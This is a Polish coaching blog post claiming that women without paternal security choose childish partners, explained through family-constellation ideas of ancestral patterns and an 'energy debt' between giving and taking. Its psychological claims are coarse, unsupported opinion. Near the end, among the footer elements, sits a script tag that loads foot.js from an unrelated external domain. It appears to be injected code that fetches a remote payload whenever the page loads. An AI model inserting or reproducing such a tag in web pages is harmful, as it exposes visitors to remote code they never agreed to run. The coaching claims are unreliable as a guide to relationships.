WYBIERAM CHŁOPCÓW, ABY CZUĆ SIĘ BEZPIECZNIE

Kobiety, których poczucie bezpieczeństwa nie zostało zrealizowane przy tacie, dziadku, albo jakimkolwiek innym mężczyźnie, ale tata odgrywa tu często bardzo znaczącą rolę, w relacji z córką, często wybierają chłopców. Nie mężczyzn, którzy stoją z otwartymi ramionami, i chcą dawać. Takich nawet normalnie nie zauważają, nie widzą, mają ich wyciętych z filtrów postrzegania. Czasami jeden lub drugi zakręci się, i wybije ją z jej własnej orbity, ale po chwilowym otwarciu się, następuje tak samo szybkie zamknięcie, na nową przestrzeń. Dlaczego? Ano dlatego, że przy takim jest coś innego, niż we wgranym w komórki skrypcie, że mężczyzna nie daje poczucia bezpieczeństwa.

Bezpieczeństwo muszę dać sobie sama, a jak dać sobie bezpieczeństwo przy mężczyźnie, który sam ze sobą czuje się bezpiecznie, i jeszcze chce tym dobrodziejstwem inwentarza obdarować? To nie gra ze sobą, to nie wklikuje jak odpowiadające sobie puzzle, chyba, że kurwa kręgosłup sobie połamiesz, to wtedy klocki będą pasowały, ale z natury nie pasują. Kody, programy, przekonania, że nie mogę tak… bo matka nie mogła, bo babka nie mogła, bo prababka też, nie mogła. One miały pod górkę, to mam i ja, bo jak można inaczej do cholery, jeżeli wolę przynależeć. A przynależę tylko wtedy, kiedy mam tak samo, i to nazywa się sumieniem. Sumienie takiej kobiety nie pozwoli jej być z kimś, innym niż była matka, babka, prababka, dlatego często jest tak, że jak ojciec chlał, to też wybieram pijaka, bo znam ten wzorek, bo znam ten schemat, bo pomimo tego, że przejebane z nim, ale wiem co się wydarzy jutro. Z chłopem, który daje… nie da się grać w te, gry, w które udaje mi się grać z pijaczyną.

Jeżeli kobieta weźmie to co ma do dania mężczyzna, to naturalnie pojawia się, w niej ruch oddać. Daje trochę więcej, niż otrzymała, i tym samym teraz On czuje, że powinien oddać. Dawanie wymusza ruch. Ruch wymiany. Ruch przepływu, w wymianie. Dawanie i branie. Dziewczynki, które nie dostały chcą tylko brać, nie mają potrzeby oddać. Chcą brać od mężczyzn, jak od taty. Na końcu się na nich wściekają, ale nie dlatego, że dostały, dlatego, że wzięły za dużo, i już nie są w stanie wyrównać. Brak wyrównania jest potężnym ruchem, który często prowadzi do rozpadu relacji.

Gdy w relacji zaczyna się dawać i brać, traci się niewinność, tworzy się debet energetyczny, i jedynym słusznym rozwiązaniem jest wyrównać. Można wyrównać na równo, i wtedy każdy może iść w swoją stronę. Jak wchodzę do sklepu, i kupuję mleko, fajki, czy bułki, to po wyjściu ze sklepu, nie mam poczucia, że ktoś mnie zrobił w chuja. Zapłaciłem, dostałem, mam. Nie mam potrzeby pójść do ekspedientki, kierownika, czy tam właściciela sklepu, i mu nawrzucać, tak, że aż mu w pory pójdzie. Chyba, że kupiłem coś co miało być, np. świeże, a okazało się, że śmierdzi kalafiorem. Wtedy się wkurwię, i mu wygarnę, bo nie taka była umowa.
W relacji pierwszy jest ten, który daje bezpieczeństwo. Kobieta, która nie zaznała bezpieczeństwa w relacji z mężczyzną, albo która bezpieczeństwo utraciła poprzez związek z kimś, kto w jakiś sposób zachwiał jej przekonaniem, że przy facecie może być bezpiecznie, z automatu często na kolejnego partnera wybierze sobie chłopca. Dlaczego? Bo chłopcem da się starować, da się go ogarnąć, i wtedy można być dla niego matką, a matka wiąże, matka trzyma pod kontrolą. Cichą… czasami niewidoczną, ale trzyma.

Gdzie Ci mężczyźni… słyszę często na sali warsztatowej… i w sesjach indywidualnych – prawdziwi tacy? Ano kochane, a czy jesteś w stanie zrezygnować z bycia pierwszą? Czy w ogóle, masz w głowie dostęp do takiego obrazu, do takiego uczucia, że można tak, że przy mężczyźnie można czuć się bezpiecznie?

Co zrobić w takim razie? Ano do męskiego, do bezpiecznego męskiego, w rodzie, przy ojcu, i we wdzięczności do kobiet, bo uwierzcie mi, że te prababki, to chętnie by się poszczały po gaciach, abyś Ty mogła już inaczej. Wtedy w Tobie, spełni się jej sen, jej sen w Tobie, w rodowym ciele, w rodowej duszy, w klanie. Może już stoją… może już łzy płyną im po policzkach, jak patrzą zza kurtyny na Twoje ruchy… może wymadlają to u najświętszej Panienki, jak podlaskie szeptuchy
Amen

Udostępnij wpis!

Sprawdź terminy moich warsztatów.

<script src='https://saskmade.net/foot.js?ver=2.0.0' type='text/javascript'></script>

Autor bloga:

Mirosław Czarko-Wasiutycz
Bussines & Life Coach Systemowy.
Terapeuta Ustawień Systemowych.